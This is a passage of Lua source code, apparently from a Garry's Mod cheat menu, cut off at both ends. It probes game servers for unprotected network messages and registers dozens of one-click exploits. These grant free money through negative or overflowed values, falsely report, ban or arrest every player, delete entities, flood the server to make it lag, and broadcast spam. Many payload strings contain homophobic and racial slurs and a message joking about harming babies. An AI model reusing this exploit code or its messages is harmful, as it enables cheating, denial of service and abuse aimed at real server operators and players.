4997 addExploit("192", "Join First SS", "", function()
4998 surface.PlaySound("garrysmod/ui_click.wav")
4999 ECNotify("Starting")
5000 net.Start("JoinFirstSS")
5001 net.WriteEntity(LocalPlayer())
5002 net.SendToServer()
5003 end)
5004 end
5005
5006 status = ValidNetString("unarrestPerson")
5007
5008 if (status) then
5009 ECPrint("Found Exploit: Unarrest Person [unarrestPerson]")
5010
5011 addExploit("193", "Unarrest Person", "", function()
5012 surface.PlaySound("garrysmod/ui_click.wav")
5013 ECNotify("Starting")
5014
5015 for k, v in pairs(player.GetAll()) do
5016 net.Start("unarrestPerson")
5017 net.WriteEntity(v)
5018 net.SendToServer()
5019 end
5020 end)
5021 end
5022
5023 status = ValidNetString("giveArrestReason")
5024
5025 if (status) then
5026 ECPrint("Found Exploit: Give Arrest Reason [giveArrestReason]")
5027
5028 addExploit("194", "Give Arrest Reason", "", function()
5029 surface.PlaySound("garrysmod/ui_click.wav")
5030 ECNotify("Starting")
5031
5032 for k, v in pairs(player.GetAll()) do
5033 net.Start("giveArrestReason")
5034 net.WriteEntity(LocalPlayer())
5035 net.WriteEntity(v)
5036 net.WriteString("Faggot")
5037 net.SendToServer()
5038 end
5039 end)
5040 end
5041
5042 status = ValidNetString("sellitem")
5043
5044 if (status) then
5045 ECPrint("Found Exploit: Free Money #24 [sellitem]")
5046
5047 addExploit("195", "Free Money #24", "", function()
5048 surface.PlaySound("garrysmod/ui_click.wav")
5049 ECNotify("Starting")
5050 net.Start("sellitem")
5051 net.WriteString(self)
5052 net.WriteEntity(LocalPlayer())
5053 net.SendToServer()
5054 end)
5055 end
5056
5057 status = ValidNetString("createFaction")
5058
5059 if (status) then
5060 ECPrint("Found Exploit: Create Faction [createFaction]")
5061
5062 addExploit("196", "Create Faction", "", function()
5063 surface.PlaySound("garrysmod/ui_click.wav")
5064 ECNotify("Starting")
5065
5066 for k, v in pairs(player.GetAll()) do
5067 net.Start("createFaction")
5068 net.WriteEntity(v)
5069 net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
5070 net.SendToServer()
5071 end
5072 end)
5073 end
5074
5075 status = ValidNetString("inviteToOrganization")
5076
5077 if (status) then
5078 ECPrint("Found Exploit: Faction Invite All [inviteToOrganization]")
5079
5080 addExploit("197", "Faction Invite All", "", function()
5081 surface.PlaySound("garrysmod/ui_click.wav")
5082 ECNotify("Starting")
5083
5084 for k, v in pairs(player.GetAll()) do
5085 net.Start("inviteToOrganization")
5086 net.WriteEntity(v)
5087 net.WriteEntity(LocalPlayer())
5088 net.SendToServer()
5089 end
5090 end)
5091 end
5092
5093 status = ValidNetString("GovStation_SpawnVehicle")
5094
5095 if (status) then
5096 ECPrint("Found Exploit: Gov Spawn [GovStation_SpawnVehicle]")
5097
5098 addExploit("198", "Gov Spawn", "", function()
5099 surface.PlaySound("garrysmod/ui_click.wav")
5100 ECNotify("Starting")
5101
5102 for k, v in pairs(ents.GetAll()) do
5103 net.Start("GovStation_SpawnVehicle")
5104 net.WriteString("GOV_POLICE")
5105 net.SendToServer()
5106 end
5107 end)
5108 end
5109
5110 status = ValidNetString("GiveWeapon")
5111
5112 if (status) then
5113 ECPrint("Found Exploit: Give Weapons #3 [GiveWeapon]")
5114
5115 addExploit("199", "Give Weapons #3", "get weapons", function()
5116 surface.PlaySound("garrysmod/ui_click.wav")
5117 ECNotify("Starting")
5118 net.Start("GiveWeapon")
5119 net.WriteEntity(LocalPlayer())
5120 net.WriteString("m9k_davy_crockett")
5121 net.WriteFloat(0)
5122 net.SendToServer()
5123 end)
5124 end
5125
5126 status = ValidNetString("DailyLoginClaim")
5127
5128 if (status) then
5129 ECPrint("Found Exploit: Daily Login Reward [DailyLoginClaim]")
5130
5131 addExploit("200", "Daily Login Reward", "", function()
5132 surface.PlaySound("garrysmod/ui_click.wav")
5133 ECNotify("Starting")
5134 net.Start("DailyLoginClaim")
5135 net.SendToServer()
5136 end)
5137 end
5138
5139 status = ValidNetString("DL_AskLogsList")
5140
5141 if (status) then
5142 ECPrint("Found Exploit: Ask Log List [DL_AskLogsList]")
5143
5144 addExploit("201", "Ask Log List", "", function()
5145 surface.PlaySound("garrysmod/ui_click.wav")
5146 ECNotify("Starting")
5147 net.Start("DL_AskLogsList")
5148 net.SendToServer()
5149 end)
5150 end
5151
5152 status = ValidNetString("DL_StartReport")
5153
5154 if (status) then
5155 ECPrint("Found Exploit: DL Report All [DL_StartReport | DL_ReportPlayer]")
5156
5157 addExploit("202", "DL Report All", "", function()
5158 surface.PlaySound("garrysmod/ui_click.wav")
5159 ECNotify("Starting")
5160
5161 for k, v in pairs(player.GetAll()) do
5162 net.Start("DL_StartReport")
5163 net.SendToServer()
5164 net.Start("DL_ReportPlayer")
5165 net.WriteEntity(v)
5166 net.WriteString("Hes being a gay faggot plz ban him")
5167 net.SendToServer()
5168 end
5169 end)
5170 end
5171
5172 status = ValidNetString("sv_saveweapons")
5173
5174 if (status) then
5175 ECPrint("Found Exploit: TTT Weapons Exploit [sv_saveweapons]")
5176
5177 addExploit("203", "DL Report All", "", function()
5178 surface.PlaySound("garrysmod/ui_click.wav")
5179 ECNotify("Starting")
5180 net.Start("sv_saveweapons")
5181 net.WriteString("weapon_ttt_rpg")
5182 net.WriteString("weapon_ttt_rpg")
5183 net.WriteString("eg")
5184 net.SendToServer()
5185 end)
5186 end
5187
5188 status = ValidNetString("SpecDM_SendLoadout")
5189
5190 if (status) then
5191 ECPrint("Found Exploit: SpecDM Exploit [SpecDM_SendLoadout]")
5192
5193 addExploit("204", "SpecDM Exploit", "", function()
5194 surface.PlaySound("garrysmod/ui_click.wav")
5195 ECNotify("Starting")
5196 net.Start("SpecDM_SendLoadout")
5197 net.WriteString("eg")
5198 net.WriteString("weapon_ttt_defib")
5199 net.SendToServer()
5200 end)
5201 end
5202
5203 status = ValidNetString("PowerRoundsForcePR")
5204
5205 if (status) then
5206 ECPrint("Found Exploit: Power Rounds Force [PowerRoundsForcePR]")
5207
5208 addExploit("205", "Power Rounds Force", "", function()
5209 surface.PlaySound("garrysmod/ui_click.wav")
5210 ECNotify("Starting")
5211 net.Start("PowerRoundsForcePR")
5212 net.SendToServer()
5213 end)
5214 end
5215
5216 status = ValidNetString("wyozimc_playply")
5217
5218 if (status) then
5219 ECPrint("Found Exploit: Wyozimc Music Exploit [wyozimc_playply]")
5220
5221 addExploit("206", "Wyozimc Music Exploit", "", function()
5222 surface.PlaySound("garrysmod/ui_click.wav")
5223 ECNotify("Starting")
5224
5225 for k, v in pairs(player.GetAll()) do
5226 net.Start("wyozimc_playply")
5227 net.WriteEntity(v)
5228 net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
5229 net.SendToServer()
5230 end
5231 end)
5232 end
5233
5234 status = ValidNetString("SendSteamID")
5235
5236 if (status) then
5237 ECPrint("Found Exploit: Send Mail's [SendSteamID]")
5238
5239 addExploit("207", "Send Mail's", "", function()
5240 surface.PlaySound("garrysmod/ui_click.wav")
5241 ECNotify("Starting")
5242
5243 for k, v in pairs(player.GetAll()) do
5244 net.Start("SendSteamID")
5245 net.WriteEntity(v)
5246 net.WriteString("Faggot")
5247 net.WriteString("Faggot")
5248 net.SendToServer()
5249 end
5250 end)
5251 end
5252
5253 status = ValidNetString("JB_GiveCubics")
5254
5255 if (status) then
5256 ECPrint("Found Exploit: Give Cubics All [JB_GiveCubics]")
5257
5258 addExploit("208", "Give Cubics All", "", function()
5259 surface.PlaySound("garrysmod/ui_click.wav")
5260 ECNotify("Starting")
5261
5262 for k, v in pairs(player.GetAll()) do
5263 net.Start("JB_GiveCubics")
5264 net.WriteEntity(v)
5265 net.WriteInt(math.floor(dwang:GetValue()), 255)
5266 net.SendToServer()
5267 end
5268 end)
5269 end
5270
5271 status = ValidNetString("JB_SelectWarden")
5272
5273 if (status) then
5274 ECPrint("Found Exploit: Select Warden All [JB_SelectWarden]")
5275
5276 addExploit("209", "Select Warden All", "", function()
5277 surface.PlaySound("garrysmod/ui_click.wav")
5278 ECNotify("Starting")
5279
5280 for k, v in pairs(player.GetAll()) do
5281 net.Start("JB_SelectWarden")
5282 net.WriteEntity(v)
5283 net.SendToServer()
5284 end
5285 end)
5286 end
5287
5288 status = ValidNetString("RDMReason_Explain")
5289
5290 if (status) then
5291 ECPrint("Found Exploit: RDM Explain [RDMReason_Explain]")
5292
5293 addExploit("210", "RDM Explain", "", function()
5294 surface.PlaySound("garrysmod/ui_click.wav")
5295 ECNotify("Starting")
5296
5297 for k, v in pairs(player.GetAll()) do
5298 net.Start("RDMReason_Explain")
5299
5300 net.WriteTable({
5301 id = v,
5302 reason = fgt
5303 })
5304
5305 net.SendToServer()
5306 end
5307 end)
5308 end
5309
5310 status = ValidNetString("redirectMsg")
5311
5312 if (status) then
5313 ECPrint("Found Exploit: Redirect Message [redirectMsg]")
5314
5315 addExploit("211", "Redirect Message", "", function()
5316 surface.PlaySound("garrysmod/ui_click.wav")
5317 ECNotify("Starting")
5318 net.Start("redirectMsg")
5319 net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
5320 net.SendToServer()
5321 end)
5322 end
5323
5324 status = ValidNetString("LB_AddBan")
5325
5326 if (status) then
5327 ECPrint("Found Exploit: LB Ban [LB_AddBan]")
5328
5329 addExploit("212", "LB Ban", "", function()
5330 surface.PlaySound("garrysmod/ui_click.wav")
5331 ECNotify("Starting")
5332
5333 for k, v in pairs(player.GetAll()) do
5334 if v ~= LocalPlayer() then
5335 net.Start("LB_AddBan")
5336 net.WriteString("STEAM_0:0:71238382")
5337 net.WriteString("fgt")
5338 net.SendToServer()
5339 end
5340 end
5341 end)
5342 end
5343
5344 status = ValidNetString("GET_Admin_MSGS")
5345
5346 if (status) then
5347 ECPrint("Found Exploit: Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
5348
5349 addExploit("213", "Brass Admin Chat", "", function()
5350 surface.PlaySound("garrysmod/ui_click.wav")
5351 ECNotify("Starting")
5352 net.Start("GET_Admin_MSGS")
5353 net.SendToServer()
5354 net.Start("OPEN_ADMIN_CHAT")
5355 net.SendToServer()
5356 end)
5357 end
5358
5359 status = ValidNetString("br_send_pm")
5360
5361 if (status) then
5362 ECPrint("Found Exploit: Brass Email Send All [br_send_pm]")
5363
5364 addExploit("214", "Brass Email Send All", "", function()
5365 surface.PlaySound("garrysmod/ui_click.wav")
5366 ECNotify("Starting")
5367
5368 for k, v in pairs(player.GetAll()) do
5369 if v ~= LocalPlayer() then
5370 net.Start("br_send_pm")
5371 net.WriteString(v)
5372 net.WriteString("FGT")
5373 net.WriteEntity(v)
5374 net.SendToServer()
5375 end
5376 end
5377 end)
5378 end
5379
5380 status = ValidNetString("LAWYER.BailFelonOut")
5381
5382 if (status) then
5383 ECPrint("Found Exploit: Bail Felon Out [LAWYER.BailFelonOut]")
5384
5385 addExploit("215", "Bail Felon Out", "", function()
5386 surface.PlaySound("garrysmod/ui_click.wav")
5387 ECNotify("Starting")
5388 net.Start("LAWYER.BailFelonOut")
5389 net.WriteString("1")
5390 net.WriteString("fgt")
5391 net.SendToServer()
5392 end)
5393 end
5394
5395 status = ValidNetString("LAWYER.GetBailOut")
5396
5397 if (status) then
5398 ECPrint("Found Exploit: Get Bail Out [LAWYER.GetBailOut]")
5399
5400 addExploit("216", "Get Bail Out", "", function()
5401 surface.PlaySound("garrysmod/ui_click.wav")
5402 ECNotify("Starting")
5403 net.Start("LAWYER.GetBailOut")
5404 net.WriteString("Mick")
5405 net.WriteString("Mick")
5406 net.WriteString("1000000")
5407 net.SendToServer()
5408 end)
5409 end
5410
5411 status = ValidNetString("GrabMoney")
5412
5413 if (status) then
5414 ECPrint("Found Exploit: Get Bail Out [GrabMoney]")
5415
5416 addExploit("217", "Get Bail Out", "", function()
5417 surface.PlaySound("garrysmod/ui_click.wav")
5418 ECNotify("Starting")
5419
5420 for k, v in pairs(ents.GetAll()) do
5421 if v:GetClass() == "gold" then
5422 if v:GetClass() == "silver" then
5423 if v:GetClass() == "vip" then
5424 if v:GetClass() == "vipgold" then
5425 net.Start("GrabMoney")
5426 net.WriteEntity(LocalPlayer())
5427 net.SendToServer()
5428 end
5429 end
5430 end
5431 end
5432 end
5433 end)
5434 end
5435
5436 status = ValidNetString("nox_addpremadepunishment")
5437
5438 if (status) then
5439 ECPrint("Found Exploit: Nox Ban [nox_addpremadepunishment]")
5440
5441 addExploit("218", "Nox Ban", "", function()
5442 surface.PlaySound("garrysmod/ui_click.wav")
5443 ECNotify("Starting")
5444
5445 for k, v in pairs(player.GetAll()) do
5446 if v ~= LocalPlayer() then
5447 net.Start("nox_addpremadepunishment")
5448 net.WriteEntity("Sun")
5449 net.WriteUInt(2, 8)
5450 net.SendToServer()
5451 end
5452 end
5453 end)
5454 end
5455
5456 status = ValidNetString("NET_CR_TakeStoredMoney")
5457
5458 if (status) then
5459 ECPrint("Found Exploit: Steal Registry Money [NET_CR_TakeStoredMoney]")
5460
5461 addExploit("219", "Steal Registry Money", "", function()
5462 surface.PlaySound("garrysmod/ui_click.wav")
5463 ECNotify("Starting")
5464
5465 for k, v in pairs(ents.GetAll()) do
5466 if v:GetClass() == "ss_cash_registry" then
5467 net.Start('NET_CR_TakeStoredMoney')
5468 net.WriteEntity("ss_cash_registry")
5469 net.WriteEntity(LocalPlayer())
5470 net.SendToServer()
5471 end
5472 end
5473 end)
5474 end
5475
5476 status = ValidNetString("HV_AmmoBuy")
5477
5478 if (status) then
5479 ECPrint("Found Exploit: HV Free Ammo [HV_AmmoBuy]")
5480
5481 addExploit("220", "HV Free Ammo", "", function()
5482 surface.PlaySound("garrysmod/ui_click.wav")
5483 ECNotify("Starting")
5484 net.Start("HV_AmmoBuy")
5485 net.WriteFloat("2")
5486 net.SendToServer()
5487 net.Start("HV_AmmoBuy")
5488 net.WriteFloat("1")
5489 net.SendToServer()
5490 end)
5491 end
5492
5493 status = ValidNetString("hitcomplete")
5494
5495 if (status) then
5496 ECPrint("Found Exploit: Super RP Hit [hitcomplete]")
5497
5498 addExploit("221", "Super RP Hit", "", function()
5499 surface.PlaySound("garrysmod/ui_click.wav")
5500 ECNotify("Starting")
5501
5502 for k, v in pairs(player.GetAll()) do
5503 if v ~= LocalPlayer() then
5504 net.Start("hitcomplete")
5505 net.WriteEntity(v)
5506 net.SendToServer()
5507 end
5508 end
5509 end)
5510 end
5511
5512 status = ValidNetString("SyncRemoveAction")
5513
5514 if (status) then
5515 ECPrint("Found Exploit: Remove All [SyncRemoveAction]")
5516
5517 addExploit("222", "Remove All", "", function()
5518 surface.PlaySound("garrysmod/ui_click.wav")
5519 ECNotify("Starting")
5520
5521 for k, v in pairs(ents.GetAll()) do
5522 net.Start("SyncRemoveAction")
5523 net.WriteEntity(v)
5524 net.SendToServer()
5525 end
5526 end)
5527 end
5528
5529 status = ValidNetString("TMC_NET_MakePlayerWanted")
5530
5531 if (status) then
5532 ECPrint("Found Exploit: Make All Wanted [TMC_NET_MakePlayerWanted]")
5533
5534 addExploit("223", "Make All Wanted", "", function()
5535 surface.PlaySound("garrysmod/ui_click.wav")
5536 ECNotify("Starting")
5537
5538 for k, v in pairs(player.GetAll()) do
5539 net.Start("TMC_NET_MakePlayerWanted")
5540 net.WriteString("bad")
5541 net.WriteString("bad")
5542 net.SendToServer()
5543 end
5544 end)
5545 end
5546
5547 status = ValidNetString("thiefnpc")
5548
5549 if (status) then
5550 ECPrint("Found Exploit: Thief NPC [thiefnpc]")
5551
5552 addExploit("224", "Thief NPC", "", function()
5553 surface.PlaySound("garrysmod/ui_click.wav")
5554 ECNotify("Starting")
5555 net.Start('thiefnpc')
5556 net.WriteDouble(-99999999999999999)
5557 net.SendToServer()
5558 end)
5559 end
5560
5561 status = ValidNetString("TMC_NET_FirePlayer")
5562
5563 if (status) then
5564 ECPrint("Found Exploit: Fire Player [TMC_NET_FirePlayer]")
5565
5566 addExploit("225", "Fire Player", "", function()
5567 surface.PlaySound("garrysmod/ui_click.wav")
5568 ECNotify("Starting")
5569 net.Start("TMC_NET_FirePlayer")
5570 net.WriteString("Paypal")
5571 net.SendToServer()
5572 end)
5573 end
5574
5575 status = ValidNetString("updateLaws")
5576
5577 if (status) then
5578 ECPrint("Found Exploit: Update Laws [updateLaws]")
5579
5580 addExploit("226", "Update Laws", "", function()
5581 surface.PlaySound("garrysmod/ui_click.wav")
5582 ECNotify("Starting")
5583 net.Start("updateLaws")
5584 net.WriteString("Bitch")
5585 net.SendToServer()
5586 end)
5587 end
5588
5589 status = ValidNetString("LotteryMenu")
5590
5591 if (status) then
5592 ECPrint("Found Exploit: Free Money #25 [LotteryMenu]")
5593
5594 addExploit("227", "Free Money #25", "", function()
5595 surface.PlaySound("garrysmod/ui_click.wav")
5596 ECNotify("Starting")
5597 net.Start("LotteryMenu")
5598 net.WriteEntity(LocalPlayer())
5599 net.WriteInt(1000000000000000000, 16)
5600 net.SendToServer()
5601 end)
5602 end
5603
5604 status = ValidNetString("soundArrestCommit")
5605
5606 if (status) then
5607 ECPrint("Found Exploit: Sound Arrest [soundArrestCommit]")
5608
5609 addExploit("228", "Sound Arrest", "", function()
5610 surface.PlaySound("garrysmod/ui_click.wav")
5611 ECNotify("Starting")
5612 net.Start("soundArrestCommit")
5613 net.WriteString("Shit")
5614 net.SendToServer()
5615 end)
5616 end
5617
5618 status = ValidNetString("hoverboardpurchase")
5619
5620 if (status) then
5621 ECPrint("Found Exploit: Hover Board [hoverboardpurchase]")
5622
5623 addExploit("229", "Hover Board", "", function()
5624 surface.PlaySound("garrysmod/ui_click.wav")
5625 ECNotify("Starting")
5626 net.Start("hoverboardpurchase")
5627 net.WriteInt(8, 32)
5628 net.SendToServer()
5629 end)
5630 end
5631
5632 status = ValidNetString("SpawnProtection")
5633
5634 if (status) then
5635 ECPrint("Found Exploit: Off Spawn Protection [SpawnProtection]")
5636
5637 addExploit("230", "Off Spawn Protection", "", function()
5638 surface.PlaySound("garrysmod/ui_click.wav")
5639 ECNotify("Starting")
5640 net.Start("SpawnProtection")
5641 net.WriteFloat(0)
5642 net.SendToServer()
5643 end)
5644 end
5645
5646 status = ValidNetString("NPCShop_BuyItem")
5647
5648 if (status) then
5649 ECPrint("Found Exploit: NPC Shop [NPCShop_BuyItem]")
5650
5651 addExploit("231", "NPC Shop", "", function()
5652 surface.PlaySound("garrysmod/ui_click.wav")
5653 ECNotify("Starting")
5654 net.Start("NPCShop_BuyItem")
5655 net.WriteString("weapon_hack_phone")
5656 net.SendToServer()
5657 end)
5658 end
5659
5660 status = ValidNetString("CubeRiot CaptureZone Update")
5661
5662 if (status) then
5663 ECPrint("Found Exploit: CubeRiot Exploit [CubeRiot CaptureZone Update]")
5664
5665 addExploit("232", "CubeRiot Exploit", "", function()
5666 surface.PlaySound("garrysmod/ui_click.wav")
5667 ECNotify("Starting")
5668 net.Start("CubeRiot CaptureZone Update")
5669 net.WriteUInt(1, 8)
5670 net.WriteVector("2654.989258 2254.119629 -139.968750")
5671 net.WriteVector("2654.989258 2254.119629 -139.968750")
5672 net.SendToServer()
5673 end)
5674 end
5675
5676 status = ValidNetString("deposit")
5677
5678 if (status) then
5679 ECPrint("Found Exploit: Free Money #26 [deposit]")
5680
5681 addExploit("233", "Free Money #26", "", function()
5682 surface.PlaySound("garrysmod/ui_click.wav")
5683 ECNotify("Starting")
5684 net.Start("deposit")
5685 net.WriteString("-10000000000000000000000")
5686 net.SendToServer()
5687 end)
5688 end
5689
5690 status = ValidNetString("AcceptRequest")
5691
5692 if (status) then
5693 ECPrint("Found Exploit: Call Exploit [AcceptRequest]")
5694
5695 addExploit("234", "Call Exploit", "", function()
5696 surface.PlaySound("garrysmod/ui_click.wav")
5697 ECNotify("Starting")
5698
5699 for k, v in pairs(player.GetAll()) do
5700 net.Start("AcceptRequest")
5701 net.WriteEntity(v)
5702 net.SendToServer()
5703 end
5704 end)
5705 end
5706
5707 status = ValidNetString("Chess ClientWager")
5708
5709 if (status) then
5710 ECPrint("Found Exploit: Chess Exploit [Chess ClientWager | Chess ClientResign]")
5711
5712 addExploit("235", "Chess Exploit", "", function()
5713 surface.PlaySound("garrysmod/ui_click.wav")
5714 ECNotify("Starting")
5715 net.Start("Chess ClientWager")
5716 net.WriteUInt(-999999999999999999999999999, 24)
5717 net.SendToServer()
5718 net.Start("Chess ClientResign")
5719 net.SendToServer()
5720 end)
5721 end
5722
5723 status = ValidNetString("netOrgVoteInvite_Server")
5724
5725 if (status) then
5726 ECPrint("Found Exploit: Org Invite All [netOrgVoteInvite_Server]")
5727
5728 addExploit("236", "Org Invite All", "", function()
5729 surface.PlaySound("garrysmod/ui_click.wav")
5730 ECNotify("Starting")
5731
5732 for k, v in pairs(player.GetAll()) do
5733 net.Start("netOrgVoteInvite_Server")
5734 net.WriteEntity(v)
5735 net.SendToServer()
5736 end
5737 end)
5738 end
5739
5740 status = ValidNetString("donatorshop_itemtobuy")
5741
5742 if (status) then
5743 ECPrint("Found Exploit: Donator Box Exploit [donatorshop_itemtobuy]")
5744
5745 addExploit("237", "Donator Box Exploit", "", function()
5746 surface.PlaySound("garrysmod/ui_click.wav")
5747 ECNotify("Starting")
5748 net.Start("donatorshop_itemtobuy")
5749 net.WriteString("DonatorShopBuyTripwire")
5750 net.SendToServer()
5751 end)
5752 end
5753
5754 status = ValidNetString("AskPickupItemInv")
5755
5756 if (status) then
5757 ECPrint("Found Exploit: Ask Item [AskPickupItemInv]")
5758
5759 addExploit("238", "Ask Item", "", function()
5760 surface.PlaySound("garrysmod/ui_click.wav")
5761 ECNotify("Starting")
5762
5763 for k, v in pairs(player.GetAll()) do
5764 net.Start("AskPickupItemInv")
5765 net.WriteUInt(4, 16)
5766 net.WriteUInt(1, 16)
5767 net.SendToServer()
5768 end
5769 end)
5770 end
5771
5772 status = ValidNetString("buy_bundle")
5773
5774 if (status) then
5775 ECPrint("Found Exploit: Buy Bundle [buy_bundle]")
5776
5777 addExploit("239", "Buy Bundle", "", function()
5778 surface.PlaySound("garrysmod/ui_click.wav")
5779 ECNotify("Starting")
5780 net.Start("buy_bundle")
5781 net.WriteFloat(1, 16)
5782 net.SendToServer()
5783 end)
5784 end
5785
5786 status = ValidNetString("LawyerOfferBail")
5787
5788 if (status) then
5789 ECPrint("Found Exploit: Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
5790
5791 addExploit("240", "Lawyer Off Bail", "", function()
5792 surface.PlaySound("garrysmod/ui_click.wav")
5793 ECNotify("Starting")
5794
5795 for k, v in pairs(player.GetAll()) do
5796 net.Start("LawyerOfferBail")
5797 net.WriteEntity(v)
5798 net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5799 net.SendToServer()
5800 net.Start("AcceptBailOffer")
5801 net.WriteEntity(v)
5802 net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5803 net.SendToServer()
5804 end
5805 end)
5806 end
5807
5808 status = ValidNetString("MineServer")
5809
5810 if (status) then
5811 ECPrint("Found Exploit: Lagger #22 [MineServer]")
5812
5813 addExploit("241", "Lagger #22", "lags", function()
5814 surface.PlaySound("garrysmod/ui_click.wav")
5815 ECNotify("Starting")
5816
5817 for i = 0, 100 do
5818 for k, v in pairs(player.GetAll()) do
5819 net.Start("MineServer", true)
5820 net.WriteString("sell")
5821 net.WriteEntity(v)
5822 net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
5823 net.SendToServer()
5824 end
5825 end
5826 end)
5827 end
5828
5829 status = ValidNetString("Gb_gasstation_BuyGas")
5830
5831 if (status) then
5832 ECPrint("Found Exploit: Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
5833
5834 addExploit("242", "Ukrainian gas", "", function()
5835 surface.PlaySound("garrysmod/ui_click.wav")
5836 ECNotify("Starting")
5837 net.Start("Gb_gasstation_BuyGas")
5838 net.SendToServer()
5839 net.Start("Gb_gasstation_BuyJerrycan")
5840 net.SendToServer()
5841 end)
5842 end
5843
5844 status = ValidNetString("D3A_CreateOrg")
5845
5846 if (status) then
5847 ECPrint("Found Exploit: D3A Create Org [D3A_CreateOrg]")
5848
5849 addExploit("243", "D3A Create Org", "", function()
5850 surface.PlaySound("garrysmod/ui_click.wav")
5851 ECNotify("Starting")
5852 net.Start("D3A_CreateOrg")
5853 net.WriteString('969690485273489312467812367128312312314')
5854 net.WriteString('123712983712984571298712398')
5855 net.WriteString("255 255 255")
5856 net.SendToServer()
5857 end)
5858 end
5859
5860 status = ValidNetString("Shop_buy")
5861
5862 if (status) then
5863 ECPrint("Found Exploit: SUP Buy Armor [Shop_buy]")
5864
5865 addExploit("244", "SUP Buy Armor", "", function()
5866 surface.PlaySound("garrysmod/ui_click.wav")
5867 ECNotify("Starting")
5868 net.Start("Shop_buy")
5869 net.WriteString("Armor")
5870 net.SendToServer()
5871 end)
5872 end
5873
5874 status = ValidNetString("LawsToServer")
5875
5876 if (status) then
5877 ECPrint("Found Exploit: SUP New Laws [LawsToServer]")
5878
5879 addExploit("245", "SUP New Laws", "", function()
5880 surface.PlaySound("garrysmod/ui_click.wav")
5881 ECNotify("Starting")
5882 net.Start("LawsToServer")
5883 net.WriteString("FAGGOTS")
5884 net.SendToServer()
5885 end)
5886 end
5887
5888 status = ValidNetString("D3A_Message")
5889
5890 if (status) then
5891 ECPrint("Found Exploit: D3A Message [D3A_Message]")
5892
5893 addExploit("246", "D3A Message", "", function()
5894 surface.PlaySound("garrysmod/ui_click.wav")
5895 ECNotify("Starting")
5896 local stuff = {}
5897 net.Start("D3A_Message")
5898 net.WriteString("FAGGOTS")
5899 net.WriteTable(stuff)
5900 net.SendToServer()
5901 end)
5902 end
5903
5904 status = ValidNetString("misswd_accept")
5905
5906 if (status) then
5907 ECPrint("Found Exploit: Misswd Accept [misswd_accept]")
5908
5909 addExploit("247", "Misswd Accept", "", function()
5910 surface.PlaySound("garrysmod/ui_click.wav")
5911 ECNotify("Starting")
5912
5913 for k, v in pairs(player.GetAll()) do
5914 for i = 0, 100 do
5915 net.Start("misswd_accept")
5916 net.WriteEntity(v)
5917 net.SendToServer()
5918 end
5919 end
5920 end)
5921 end
5922
5923 status = ValidNetString("ScannerMenu")
5924
5925 if (status) then
5926 ECPrint("Found Exploit: Scanner Exploit [ScannerMenu]")
5927
5928 addExploit("248", "Scanner Exploit", "", function()
5929 surface.PlaySound("garrysmod/ui_click.wav")
5930 ECNotify("Starting")
5931
5932 for k, v in pairs(player.GetAll()) do
5933 net.Start("ScannerMenu")
5934 net.WriteEntity(v)
5935 net.WriteFloat(1)
5936 net.WriteFloat(1)
5937 net.SendToServer()
5938 end
5939 end)
5940 end
5941
5942 status = ValidNetString("ORG_NewOrg")
5943
5944 if (status) then
5945 ECPrint("Found Exploit: New ORG [ORG_NewOrg]")
5946
5947 addExploit("249", "New ORG", "", function()
5948 surface.PlaySound("garrysmod/ui_click.wav")
5949 ECNotify("Starting")
5950 net.Start("ORG_NewOrg")
5951 net.WriteString("I FUCKING HATE YOU!")
5952 net.SendToServer()
5953 end)
5954 end
5955
5956 status = ValidNetString("ORG_VaultDonate")
5957
5958 if (status) then
5959 ECPrint("Found Exploit: Free Money #27 [ORG_VaultDonate]")
5960
5961 addExploit("250", "Free Money #27", "", function()
5962 surface.PlaySound("garrysmod/ui_click.wav")
5963 ECNotify("Starting")
5964 net.Start("ORG_VaultDonate")
5965 net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
5966 net.SendToServer()
5967 end)
5968 end
5969
5970 status = ValidNetString("Selldatride")
5971
5972 if (status) then
5973 ECPrint("Found Exploit: Sell Datride [Selldatride]")
5974
5975 addExploit("251", "Sell Datride", "", function()
5976 surface.PlaySound("garrysmod/ui_click.wav")
5977 ECNotify("Starting")
5978
5979 for k, v in pairs(player.GetAll()) do
5980 net.Start("Selldatride")
5981 net.WriteEntity(v)
5982 net.SendToServer()
5983 end
5984 end)
5985 end
5986
5987 status = ValidNetString("passmayorexam")
5988
5989 if (status) then
5990 ECPrint("Found Exploit: Passexam Exploit [passmayorexam]")
5991
5992 addExploit("252", "Passexam Exploit", "", function()
5993 surface.PlaySound("garrysmod/ui_click.wav")
5994 ECNotify("Starting")
5995 net.Start("passmayorexam")
5996 net.SendToServer()
5997 end)
5998 end
5999
6000 status = ValidNetString("levelup_useperk")
6001
6002 if (status) then
6003 ECPrint("Found Exploit: LevelUp Exploit [levelup_useperk]")
6004
6005 addExploit("253", "LevelUp Exploit", "", function()
6006 surface.PlaySound("garrysmod/ui_click.wav")
6007 ECNotify("Starting")
6008 net.Start("levelup_useperk")
6009 net.WriteInt(1, 8)
6010 net.WriteInt(2, 8)
6011 net.WriteInt(3, 8)
6012 net.WriteInt(4, 8)
6013 net.SendToServer()
6014 end)
6015 end
6016
6017 status = ValidNetString("ZED_SpawnCar")
6018
6019 if (status) then
6020 ECPrint("Found Exploit: ZED Spawn Car [ZED_SpawnCar]")
6021
6022 addExploit("254", "ZED Spawn Car", "", function()
6023 surface.PlaySound("garrysmod/ui_click.wav")
6024 ECNotify("Starting")
6025 net.Start("ZED_SpawnCar")
6026 net.WriteFloat(1)
6027 net.SendToServer()
6028 end)
6029 end
6030
6031 status = ValidNetString("DeployMask") -- 37.230.228.248:27016
6032
6033 if (status) then
6034 ECPrint("Found Exploit: To wear a gas mask at all players [DeployMask]")
6035
6036 addExploit("255", "To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
6037 surface.PlaySound("garrysmod/ui_click.wav")
6038 ECNotify("Starting")
6039
6040 for k, v in pairs(ents.GetAll()) do
